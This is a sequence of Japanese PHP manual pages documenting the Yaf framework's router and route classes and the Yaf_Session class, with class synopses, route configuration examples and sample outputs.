例5 Yaf_Route_Static のデフォルトルート

// このように設定しているものとします
$conf = array(
   "application" => array(
      "modules" => "Index,Blog",
   ),
);

コントローラのみ
http://example/news
    controller == news
アクションのみ (php.ini で yaf.action_prefer=1 とした場合)
    action  == news

モジュール名として無効な場合はコントローラ名とみなします
http://example/foo
    controller == foo

モジュール + コントローラ
http://example/blog/archive
    module     == blog
    controller == archive

モジュール + コントローラ + アクション
http://example/blog/archive/list
    module     == blog
    controller == archive
    action     == list

モジュール + コントローラ + アクション + パラメータ
http://example/blog/archive/list/sort/alpha/date/desc
    module     == blog
    controller == archive
    action     == list
    sort       == alpha
    date       == desc

クラス概要

Yaf_Router {
/* プロパティ */
protected $_routes ;
protected $_current ;
/* メソッド */
public addConfig ( Yaf_Config_Abstract $config ) : bool
public addRoute ( string $name , Yaf_Route_Abstract $route ) : bool
public __construct ( )
public getCurrentRoute ( ) : string
public getRoute ( string $name ) : Yaf_Route_Interface
public getRoutes ( ) : mixed
public route ( Yaf_Request_Abstract $request ) : bool
}

プロパティ

_routes

登録されたルートスタック。

_current

ルーティングを終えた後に、 今回のリクエストで使ったルートの名前がここに入ります。 この名前を取得するには Yaf_Router::getCurrentRoute() を使います。

目次

  • Yaf_Router::addConfig — 設定で定義したルートをルーターに追加する
  • Yaf_Router::addRoute — 新しいルートをルーターに追加する
  • Yaf_Router::__construct — Yaf_Router のコンストラクタ
  • Yaf_Router::getCurrentRoute — 使われているルート名を取得する
  • Yaf_Router::getRoute — 名前を指定してルートを取得する
  • Yaf_Router::getRoutes — 登録済みのルートを取得する
  • Yaf_Router::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.


設定で定義したルートをルーターに追加する

  • ≪ Yaf_Router
  • Yaf_Router::addRoute ≫
  • PHP Manual
  • Yaf_Router
  • 設定で定義したルートをルーターに追加する

Yaf_Router::addConfig

(Yaf >=1.0.0)

Yaf_Router::addConfig — 設定で定義したルートをルーターに追加する

説明

public Yaf_Router::addConfig ( Yaf_Config_Abstract $config ) : bool

設定で定義したルートを Yaf_Router のスタックに追加します。

パラメータ

この関数にはパラメータはありません。

返り値

Yaf_Config_Abstract のインスタンスを返します。 ここには有効なルート設定が含まれています。

例

例1 application.ini() の例

;the order is very important, the prior one will be called first

;a rewrite route match request /product/*/*
routes.route_name.type="rewrite"
routes.route_name.match="/product/:name/:value"
routes.route_name.route.controller=product
routes.route_name.route.action=info

;a regex route match request /list/*/*
routes.route_name1.type="regex"
routes.route_name1.match="#^list/([^/]*)/([^/]*)#"
routes.route_name1.route.controller=Index
routes.route_name1.route.action=action
routes.route_name1.map.1=name
routes.route_name1.map.2=value

;a simple route match /**?c=controller&a=action&m=module
routes.route_name2.type="simple"
routes.route_name2.controller=c
routes.route_name2.module=m
routes.route_name2.action=a

;a simple router match /**?r=PATH_INFO
routes.route_name3.type="supervar"
routes.route_name3.varname=r

;a map route match any request to controller
routes.route_name4.type="map"
routes.route_name4.controllerPrefer=TRUE
routes.route_namer.delimiter="#!"

例2 Yaf_Dispatcher::autoConfig() の例

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
    public function _initConfig() {
        $config = Yaf_Application::app()->getConfig();
        Yaf_Registry::set("config", $config);
    }

    public function _initRoute(Yaf_Dispatcher $dispatcher) {
        $router = $dispatcher->getRouter();
        /**
         * we can add some pre-defined routes in application.ini
         */
        $router->addConfig(Yaf_Registry::get("config")->routes);
    }
?>

参考

  • Yaf_Router::addRoute() - 新しいルートをルーターに追加する
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

arthurzwl at gmail dot com 05-Jun-2017 09:04
The regex route should like this.
You need add "/" before "list"
routes.route_name1.match="#^/list/([^/]*)/([^/]*)#"


新しいルートをルーターに追加する

  • ≪ Yaf_Router::addConfig
  • Yaf_Router::__construct ≫
  • PHP Manual
  • Yaf_Router
  • 新しいルートをルーターに追加する

Yaf_Router::addRoute

(Yaf >=1.0.0)

Yaf_Router::addRoute — 新しいルートをルーターに追加する

説明

public Yaf_Router::addRoute ( string $name , Yaf_Route_Abstract $route ) : bool

Yaf_Router はデフォルトのルートとして Yaf_Route_Static を使います。ルーターのルートスタックにそれ以外のルートを追加するときに、このメソッドを使います。

ルートスタックに後から追加したルートのほうが先に呼ばれます。 どれかひとつのルーターが true を返せば、そこでルーティングが終わります。それ以外の場合は 次のルーターを呼びます。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 Yaf_Dispatcher::autoRender() の例

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
    public function _initConfig() {
        $config = Yaf_Application::app()->getConfig();
        Yaf_Registry::set("config", $config);
    }

    public function _initRoute(Yaf_Dispatcher $dispatcher) {
        $router = $dispatcher->getRouter();
        /**
         * we can add some pre-defined routes in application.ini
         */
        $router->addConfig(Yaf_Registry::get("config")->routes);
        /**
         * add a Rewrite route, then for a request uri:
         * http://***/product/list/22/foo
         * will be matched by this route, and result:
         *
         *  [module] =>
         *  [controller] => product
         *  [action] => info
         *  [method] => GET
         *  [params:protected] => Array
         *      (
         *          [id] => 22
         *          [name] => foo
         *      )
         *
         */
        $route  = new Yaf_Route_Rewrite(
            "/product/list/:id/:name",
            array(
                "controller" => "product",
                "action"     => "info",
            )
        );

        $router->addRoute('dummy', $route);
    }
?>

参考

  • Yaf_Router::addConfig() - 設定で定義したルートをルーターに追加する
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Router のコンストラクタ

  • ≪ Yaf_Router::addRoute
  • Yaf_Router::getCurrentRoute ≫
  • PHP Manual
  • Yaf_Router
  • Yaf_Router のコンストラクタ

Yaf_Router::__construct

(Yaf >=1.0.0)

Yaf_Router::__construct — Yaf_Router のコンストラクタ

説明

public Yaf_Router::__construct ( )

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


使われているルート名を取得する

  • ≪ Yaf_Router::__construct
  • Yaf_Router::getRoute ≫
  • PHP Manual
  • Yaf_Router
  • 使われているルート名を取得する

Yaf_Router::getCurrentRoute

(Yaf >=1.0.0)

Yaf_Router::getCurrentRoute — 使われているルート名を取得する

説明

public Yaf_Router::getCurrentRoute ( ) : string

ルーティングプロセスで使われているルート名を取得します。

注意:

このメソッドはルーティングが終わってから呼ぶ必要があります。 終わる前に呼ぶと、常に null を返します。

パラメータ

この関数にはパラメータはありません。

返り値

ルート名を文字列で返します。

例

例1 ブートストラップでのルートの登録

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
    public function _initConfig() {
        $config = Yaf_Application::app()->getConfig();
        Yaf_Registry::set("config", $config);
    }

    public function _initRoute(Yaf_Dispatcher $dispatcher) {
        $router = $dispatcher->getRouter();
        $rewrite_route  = new Yaf_Route_Rewrite(
            "/product/list/:page",
            array(
                "controller" => "product",
                "action"     => "list",
            )
        );

        $regex_route  = new Yaf_Route_Rewrite(
            "#^/product/info/(\d+)",
            array(
                "controller" => "product",
                "action"     => "info",
            )
        );

        $router->addRoute('rewrite', $rewrite_route)->addRoute('regex', $regex_route);
    }

    /**
     * register plugin
     */
    public function __initPlugins(Yaf_Dispatcher $dispatcher) {
        $dispatcher->registerPlugin(new DummyPlugin());
    }
?>

例2 プラグイン Dummy.php (application.directory/plugins 配下)

<?php
class DummyPlugin extends Yaf_Plugin_Abstract {

    public function routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
         var_dump(Yaf_Dispatcher::getInstance()->getRouter()->getCurrentRoute());
    }
?>
?>

上の例の出力は、 たとえば以下のようになります。

/* http://yourdomain.com/product/list/1
 * の場合の DummyPlugin の出力
 */
string(7) "rewrite"

/* http://yourdomain.com/product/info/34
 * の場合の DummyPlugin の出力
 */
string(5) "regex"

/* その他のリクエスト URI
 * の場合の DummyPlugin の出力
 */
string(8) "_default"

参考

  • Yaf_Bootstrap_Abstract
  • Yaf_Plugin_Abstract
  • Yaf_Router::addRoute() - 新しいルートをルーターに追加する

User Contributed Notes

There are no user contributed notes for this page.


名前を指定してルートを取得する

  • ≪ Yaf_Router::getCurrentRoute
  • Yaf_Router::getRoutes ≫
  • PHP Manual
  • Yaf_Router
  • 名前を指定してルートを取得する

Yaf_Router::getRoute

(Yaf >=1.0.0)

Yaf_Router::getRoute — 名前を指定してルートを取得する

説明

public Yaf_Router::getRoute ( string $name ) : Yaf_Route_Interface

名前を指定してルートを取得します。 Yaf_Router::getCurrentRoute() も参照ください。

パラメータ

この関数にはパラメータはありません。

返り値

参考

  • Yaf_Bootstrap_Abstract
  • Yaf_Plugin_Abstract
  • Yaf_Router::addRoute() - 新しいルートをルーターに追加する
  • Yaf_Router::getCurrentRoute() - 使われているルート名を取得する

User Contributed Notes

There are no user contributed notes for this page.


登録済みのルートを取得する

  • ≪ Yaf_Router::getRoute
  • Yaf_Router::route ≫
  • PHP Manual
  • Yaf_Router
  • 登録済みのルートを取得する

Yaf_Router::getRoutes

(Yaf >=1.0.0)

Yaf_Router::getRoutes — 登録済みのルートを取得する

説明

public Yaf_Router::getRoutes ( ) : mixed

登録済みのルートを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The route purpose

  • ≪ Yaf_Router::getRoutes
  • Yaf_Route_Simple ≫
  • PHP Manual
  • Yaf_Router
  • The route purpose

Yaf_Router::route

(Yaf >=1.0.0)

Yaf_Router::route — The route purpose

説明

public Yaf_Router::route ( Yaf_Request_Abstract $request ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Simple クラス

(Yaf >=1.0.0)

はじめに

Yaf_Route_Simple は、クエリ文字列を見てルート情報を取得します。

Yaf_Route_Simple に対して必要な設定は、 $_GET のどのキーがモジュールでどのキーがコントローラ、 そしてどのキーがアクションなのかを指定することです。

Yaf_Route_Simple::route() は常に true を返します。 そこで、Yaf_Route_Simple はルートスタックの先頭に置く必要があります。 そうしないと、他のルートは決して呼ばれなくなります。

クラス概要

Yaf_Route_Simple implements Yaf_Route_Interface {
/* プロパティ */
protected $controller ;
protected $module ;
protected $action ;
/* メソッド */
public assemble ( array $info , array $query = ? ) : string
public __construct ( string $module_name , string $controller_name , string $action_name )
public route ( Yaf_Request_Abstract $request ) : bool
}

プロパティ

controller

module

action

目次

  • Yaf_Route_Simple::assemble — URLを組み立てる
  • Yaf_Route_Simple::__construct — Yaf_Route_Simple のコンストラクタ
  • Yaf_Route_Simple::route — リクエストをルーティングする

User Contributed Notes

There are no user contributed notes for this page.


URLを組み立てる

  • ≪ Yaf_Route_Simple
  • Yaf_Route_Simple::__construct ≫
  • PHP Manual
  • Yaf_Route_Simple
  • URLを組み立てる

Yaf_Route_Simple::assemble

(Yaf >=2.3.0)

Yaf_Route_Simple::assemble — URLを組み立てる

説明

public Yaf_Route_Simple::assemble ( array $info , array $query = ? ) : string

URLを組み立てます。

パラメータ

info

query

例

例1 Yaf_Route_Simple::assemble() の例

<?php

$router = new Yaf_Router();

$route  = new Yaf_Route_Simple('m', 'c', 'a');

$router->addRoute("simple", $route);

var_dump($router->getRoute('simple')->assemble(
            array(
                ':a' => 'yafaction',
                'tkey' => 'tval',
                ':c' => 'yafcontroller',
                ':m' => 'yafmodule'
                ),
            array(
                'tkey1' => 'tval1',
                'tkey2' => 'tval2'
                )
            ));

上の例の出力は、 たとえば以下のようになります。

string(64) "?m=yafmodule&c=yafcontroller&a=yafaction&tkey1=tval1&tkey2=tval2"

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Simple のコンストラクタ

  • ≪ Yaf_Route_Simple::assemble
  • Yaf_Route_Simple::route ≫
  • PHP Manual
  • Yaf_Route_Simple
  • Yaf_Route_Simple のコンストラクタ

Yaf_Route_Simple::__construct

(Yaf >=1.0.0)

Yaf_Route_Simple::__construct — Yaf_Route_Simple のコンストラクタ

説明

public Yaf_Route_Simple::__construct ( string $module_name , string $controller_name , string $action_name )

Yaf_Route_Simple は、クエリストリングからルーティング情報を取得します。 そして、このコンストラクタのパラメータは $_GET の中にあるルーティング情報を検索するキーとして使われます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

module_name

モジュール情報のキー名

controller_name

コントローラー情報のキー名

action_name

アクション情報のキー名

返り値

常に true を返します。

例

例1 Yaf_Route_Simple::route() の例

<?php
   $route = new Yaf_Route_Simple("m", "controller", "act");
   Yaf_Router::getInstance()->addRoute("simple", $route);
?>

例2 Yaf_Route_Simple::route()example

Request: http://yourdomain.com/path/?controller=a&act=b
=> module = default(index), controller = a, action = b

Request: http://yourdomain.com/path
=> module = default(index), controller = default(index), action = default(index)

参考

  • Yaf_Route_Supervar::route() - The route purpose
  • Yaf_Route_Static::route() - リクエストをルーティングする
  • Yaf_Route_Regex::route() - The route purpose
  • Yaf_Route_Rewrite::route() - The route purpose
  • Yaf_Route_Map::route() - route の目的

User Contributed Notes

There are no user contributed notes for this page.


リクエストをルーティングする

  • ≪ Yaf_Route_Simple::__construct
  • Yaf_Route_Static ≫
  • PHP Manual
  • Yaf_Route_Simple
  • リクエストをルーティングする

Yaf_Route_Simple::route

(Yaf >=1.0.0)

Yaf_Route_Simple::route — リクエストをルーティングする

説明

public Yaf_Route_Simple::route ( Yaf_Request_Abstract $request ) : bool

see Yaf_Route_Simple::__construct()

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

request

返り値

常に true を返します。

参考

  • Yaf_Route_Supervar::route() - The route purpose
  • Yaf_Route_Static::route() - リクエストをルーティングする
  • Yaf_Route_Regex::route() - The route purpose
  • Yaf_Route_Rewrite::route() - The route purpose
  • Yaf_Route_Map::route() - route の目的

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Static クラス

(Yaf >=1.0.0)

はじめに

デフォルトでは、Yaf_Router が持っているルートは Yaf_Route_Static だけです。

Yaf_Route_Static は、 要件の 80% を満たせるように作られています。

Yaf_Route_Static のインスタンスを作る必要はありません。 また、Yaf_Router のルートスタックに追加する必要もありません。 というのもこのクラスは常に Yaf_Router のルートスタックに含まれており、最後に呼ばれるようになっているからです。

クラス概要

Yaf_Route_Static implements Yaf_Router {
/* メソッド */
public assemble ( array $info , array $query = ? ) : string
public match ( string $uri ) : void
public route ( Yaf_Request_Abstract $request ) : bool
}

目次

  • Yaf_Route_Static::assemble — URL を組み立てる
  • Yaf_Route_Static::match — The match purpose
  • Yaf_Route_Static::route — リクエストをルーティングする

User Contributed Notes

There are no user contributed notes for this page.


URL を組み立てる

  • ≪ Yaf_Route_Static
  • Yaf_Route_Static::match ≫
  • PHP Manual
  • Yaf_Route_Static
  • URL を組み立てる

Yaf_Route_Static::assemble

(Yaf >=2.3.0)

Yaf_Route_Static::assemble — URL を組み立てる

説明

public Yaf_Route_Static::assemble ( array $info , array $query = ? ) : string

URL を組み立てます。

パラメータ

info

query

例

例1 Yaf_Route_Static::assemble() の例

<?php

$router = new Yaf_Router();

$route  = new Yaf_Route_Static();

$router->addRoute("static", $route);

var_dump($router->getRoute('static')->assemble(
            array(
                ':a' => 'yafaction',
                'tkey' => 'tval',
                ':c' => 'yafcontroller',
                ':m' => 'yafmodule'
            ),
        )
);

var_dump($router->getRoute('static')->assemble(
            array(
                ':a' => 'yafaction',
                'tkey' => 'tval',
                ':c' => 'yafcontroller',
                ':m' => 'yafmodule'
            ),
            array(
                'tkey1' => 'tval1',
                'tkey2' => 'tval2'
            )
        )
);

上の例の出力は、 たとえば以下のようになります。

string(%d) "/yafmodule/yafcontroller/yafaction"
string(%d) "/yafmodule/yafcontroller/yafaction?tkey1=tval1&tkey2=tval2"

返り値

User Contributed Notes

There are no user contributed notes for this page.


The match purpose

  • ≪ Yaf_Route_Static::assemble
  • Yaf_Route_Static::route ≫
  • PHP Manual
  • Yaf_Route_Static
  • The match purpose

Yaf_Route_Static::match

(Yaf >=1.0.0)

Yaf_Route_Static::match — The match purpose

説明

public Yaf_Route_Static::match ( string $uri ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

uri

返り値

User Contributed Notes

There are no user contributed notes for this page.


リクエストをルーティングする

  • ≪ Yaf_Route_Static::match
  • Yaf_Route_Supervar ≫
  • PHP Manual
  • Yaf_Route_Static
  • リクエストをルーティングする

Yaf_Route_Static::route

(Yaf >=1.0.0)

Yaf_Route_Static::route — リクエストをルーティングする

説明

public Yaf_Route_Static::route ( Yaf_Request_Abstract $request ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

request

返り値

常に true を返します。

例

例1 Yaf_Route_Static::route() の例

// assuming there is only one module defined:Index
Request: http://yourdomain.com/a/b
=> module = index, controller=a, action=b

//assuming ap.action_prefer = On
Request: http://yourdomain.com/b
=> module = default(index), controller = default(index), action = b

//assuming ap.action_prefer = Off
Request: http://yourdomain.com/b
=> module = default(index), controller = b, action = default(index)

Request: http://yourdomain.com/a/b/foo/bar/test/a/id/4
=> module = default(index), controller = a, action = b, request parameters: foo = bar, test = a, id = 4

参考

  • Yaf_Route_Supervar::route() - The route purpose
  • Yaf_Route_Simple::route() - リクエストをルーティングする
  • Yaf_Route_Regex::route() - The route purpose
  • Yaf_Route_Rewrite::route() - The route purpose
  • Yaf_Route_Map::route() - route の目的

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Route_Supervar クラス

(Yaf >=1.0.0)

はじめに

クラス概要

Yaf_Route_Supervar implements Yaf_Route_Interface {
/* プロパティ */
protected $_var_name ;
/* メソッド */
public assemble ( array $info , array $query = ? ) : string
public __construct ( string $supervar_name )
public route ( Yaf_Request_Abstract $request ) : bool
}

プロパティ

_var_name

目次

  • Yaf_Route_Supervar::assemble — URL を組み立てる
  • Yaf_Route_Supervar::__construct — The __construct purpose
  • Yaf_Route_Supervar::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.


URL を組み立てる

  • ≪ Yaf_Route_Supervar
  • Yaf_Route_Supervar::__construct ≫
  • PHP Manual
  • Yaf_Route_Supervar
  • URL を組み立てる

Yaf_Route_Supervar::assemble

(Yaf >=2.3.0)

Yaf_Route_Supervar::assemble — URL を組み立てる

説明

public Yaf_Route_Supervar::assemble ( array $info , array $query = ? ) : string

URL を組み立てます

パラメータ

info

query

例

例1 Yaf_Route_Supervar::assemble() の例

<?php

$router = new Yaf_Router();

$route  = new Yaf_Route_Supervar('r');

$router->addRoute("supervar", $route);

var_dump($router->getRoute('supervar')->assemble(
        array(
              ':a' => 'yafaction',
              'tkey' => 'tval',
              ':c' => 'yafcontroller',
              ':m' => 'yafmodule'
        ),
        array(
              'tkey1' => 'tval1',
              'tkey2' => 'tval2'
        )
));

try {
var_dump($router->getRoute('supervar')->assemble(
        array(
              ':a' => 'yafaction',
              'tkey' => 'tval',
              ':m' => 'yafmodule'
        ),
        array(
              'tkey1' => 'tval1',
              'tkey2' => 'tval2',
              1 => array(),
        )
));
} catch (Exception $e) {
    var_dump($e->getMessage());
}

上の例の出力は、 たとえば以下のようになります。

string(%d) "?r=/yafmodule/yafcontroller/yafaction&tkey1=tval1&tkey2=tval2"
string(%d) "You need to specify the controller by ':c'"

返り値

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • ≪ Yaf_Route_Supervar::assemble
  • Yaf_Route_Supervar::route ≫
  • PHP Manual
  • Yaf_Route_Supervar
  • The __construct purpose

Yaf_Route_Supervar::__construct

(Yaf >=1.0.0)

Yaf_Route_Supervar::__construct — The __construct purpose

説明

public Yaf_Route_Supervar::__construct ( string $supervar_name )

Yaf_Route_Supervar は Yaf_Route_Static と似ています。違うところは、 Yaf_Route_Supervar がクエリ文字列からパス情報を探すところです。 パラメータ supervar_name がキーとなります。

パラメータ

supervar_name

キーの名前。

返り値

例

例1 Yaf_Route_Supervar() の例

<?php
   /**
    * Add a supervar route to Yaf_Router route stack
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_Supervar("r"));
    );
?>

上の例の出力は、 たとえば以下のようになります。

/** http://yourdomain.com/xx/oo/?r=/ctr/act/var/value
  * の場合はこのような結果になります
  */
  array (
    "module"   => index(default),
    "controller" => ctr,
    "action"     => act,
    "params"     => array(
          "var" => value,
     )
  )

参考

  • Yaf_Router::addRoute() - 新しいルートをルーターに追加する
  • Yaf_Router::addConfig() - 設定で定義したルートをルーターに追加する
  • Yaf_Route_Static
  • Yaf_Route_Regex
  • Yaf_Route_Simple
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.


The route purpose

  • ≪ Yaf_Route_Supervar::__construct
  • Yaf_Session ≫
  • PHP Manual
  • Yaf_Route_Supervar
  • The route purpose

Yaf_Route_Supervar::route

(Yaf >=1.0.0)

Yaf_Route_Supervar::route — The route purpose

説明

public Yaf_Route_Supervar::route ( Yaf_Request_Abstract $request ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

request

返り値

Yaf_Route_Supervar::__construct() で指定したキーが $_GET に存在すれば true、存在しなければ false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Session クラス

(Yaf >=1.0.0)

はじめに

クラス概要

Yaf_Session implements Iterator , ArrayAccess , Countable {
/* プロパティ */
protected static $_instance ;
protected $_session ;
protected $_started ;
/* メソッド */
private __construct ( )
public count ( ) : void
public current ( ) : void
public del ( string $name ) : void
public __get ( string $name ) : void
public static getInstance ( ) : void
public has ( string $name ) : void
public __isset ( string $name ) : void
public key ( ) : void
public next ( ) : void
public offsetExists ( string $name ) : void
public offsetGet ( string $name ) : void
public offsetSet ( string $name , string $value ) : void
public offsetUnset ( string $name ) : void
public rewind ( ) : void
public __set ( string $name , string $value ) : void
public start ( ) : void
public __unset ( string $name ) : void
public valid ( ) : void
}

プロパティ

_instance

_session

_started

目次

  • Yaf_Session::__construct — Yaf_Session のコンストラクタ
  • Yaf_Session::count — The count purpose
  • Yaf_Session::current — The current purpose
  • Yaf_Session::del — The del purpose
  • Yaf_Session::__get — The __get purpose
  • Yaf_Session::getInstance — The getInstance purpose
  • Yaf_Session::has — The has purpose
  • Yaf_Session::__isset — The __isset purpose
  • Yaf_Session::key — The key purpose
  • Yaf_Session::next — The next purpose
  • Yaf_Session::offsetExists — The offsetExists purpose
  • Yaf_Session::offsetGet — The offsetGet purpose
  • Yaf_Session::offsetSet — The offsetSet purpose
  • Yaf_Session::offsetUnset — The offsetUnset purpose
  • Yaf_Session::rewind — The rewind purpose
  • Yaf_Session::__set — The __set purpose
  • Yaf_Session::start — The start purpose
  • Yaf_Session::__unset — The __unset purpose
  • Yaf_Session::valid — The valid purpose

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Session のコンストラクタ

  • ≪ Yaf_Session
  • Yaf_Session::count ≫
  • PHP Manual
  • Yaf_Session
  • Yaf_Session のコンストラクタ

Yaf_Session::__construct

(Yaf >=1.0.0)

Yaf_Session::__construct — Yaf_Session のコンストラクタ

説明

private Yaf_Session::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The count purpose

  • ≪ Yaf_Session::__construct
  • Yaf_Session::current ≫
  • PHP Manual
  • Yaf_Session
  • The count purpose

Yaf_Session::count

(Yaf >=1.0.0)

Yaf_Session::count — The count purpose

説明

public Yaf_Session::count ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The current purpose

  • ≪ Yaf_Session::count
  • Yaf_Session::del ≫
  • PHP Manual
  • Yaf_Session
  • The current purpose

Yaf_Session::current

(Yaf >=1.0.0)

Yaf_Session::current — The current purpose

説明

public Yaf_Session::current ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The del purpose

  • ≪ Yaf_Session::current
  • Yaf_Session::__get ≫
  • PHP Manual
  • Yaf_Session
  • The del purpose

Yaf_Session::del

(Yaf >=1.0.0)

Yaf_Session::del — The del purpose

説明

public Yaf_Session::del ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The __get purpose

  • ≪ Yaf_Session::del
  • Yaf_Session::getInstance ≫
  • PHP Manual
  • Yaf_Session
  • The __get purpose

Yaf_Session::__get

(Yaf >=1.0.0)

Yaf_Session::__get — The __get purpose

説明

public Yaf_Session::__get ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The getInstance purpose

  • ≪ Yaf_Session::__get
  • Yaf_Session::has ≫
  • PHP Manual
  • Yaf_Session
  • The getInstance purpose

Yaf_Session::getInstance

(Yaf >=1.0.0)

Yaf_Session::getInstance — The getInstance purpose

説明

public static Yaf_Session::getInstance ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The has purpose

  • ≪ Yaf_Session::getInstance
  • Yaf_Session::__isset ≫
  • PHP Manual
  • Yaf_Session
  • The has purpose

Yaf_Session::has

(Yaf >=1.0.0)

Yaf_Session::has — The has purpose

説明

public Yaf_Session::has ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The __isset purpose

  • ≪ Yaf_Session::has
  • Yaf_Session::key ≫
  • PHP Manual
  • Yaf_Session
  • The __isset purpose

Yaf_Session::__isset

(Yaf >=1.0.0)

Yaf_Session::__isset — The __isset purpose

説明

public Yaf_Session::__isset ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The key purpose

  • ≪ Yaf_Session::__isset
  • Yaf_Session::next ≫
  • PHP Manual
  • Yaf_Session
  • The key purpose

Yaf_Session::key

(Yaf >=1.0.0)

Yaf_Session::key — The key purpose

説明

public Yaf_Session::key ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The next purpose

  • ≪ Yaf_Session::key
  • Yaf_Session::offsetExists ≫
  • PHP Manual
  • Yaf_Session
  • The next purpose

Yaf_Session::next

(Yaf >=1.0.0)

Yaf_Session::next — The next purpose

説明

public Yaf_Session::next ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The offsetExists purpose

  • ≪ Yaf_Session::next
  • Yaf_Session::offsetGet ≫
  • PHP Manual
  • Yaf_Session
  • The offsetExists purpose

Yaf_Session::offsetExists

(Yaf >=1.0.0)

Yaf_Session::offsetExists — The offsetExists purpose

説明

public Yaf_Session::offsetExists ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The offsetGet purpose

  • ≪ Yaf_Session::offsetExists
  • Yaf_Session::offsetSet ≫
  • PHP Manual
  • Yaf_Session
  • The offsetGet purpose

Yaf_Session::offsetGet

(Yaf >=1.0.0)

Yaf_Session::offsetGet — The offsetGet purpose

説明

public Yaf_Session::offsetGet ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The offsetSet purpose

  • ≪ Yaf_Session::offsetGet
  • Yaf_Session::offsetUnset ≫
  • PHP Manual
  • Yaf_Session
  • The offsetSet purpose

Yaf_Session::offsetSet

(Yaf >=1.0.0)

Yaf_Session::offsetSet — The offsetSet purpose

説明

public Yaf_Session::offsetSet ( string $name , string $value ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

value

返り値

User Contributed Notes

There are no user contributed notes for this page.


The offsetUnset purpose

  • ≪ Yaf_Session::offsetSet
  • Yaf_Session::rewind ≫
  • PHP Manual
  • Yaf_Session
  • The offsetUnset purpose

Yaf_Session::offsetUnset

(Yaf >=1.0.0)

Yaf_Session::offsetUnset — The offsetUnset purpose

説明

public Yaf_Session::offsetUnset ( string $name ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


The rewind purpose

  • ≪ Yaf_Session::offsetUnset
  • Yaf_Session::__set ≫
  • PHP Manual
  • Yaf_Session
  • The rewind purpose

Yaf_Session::rewind

(Yaf >=1.0.0)

Yaf_Session::rewind — The rewind purpose

説明

public Yaf_Session::rewind ( ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The __set purpose

  • ≪ Yaf_Session::rewind
  • Yaf_Session::start ≫
  • PHP Manual
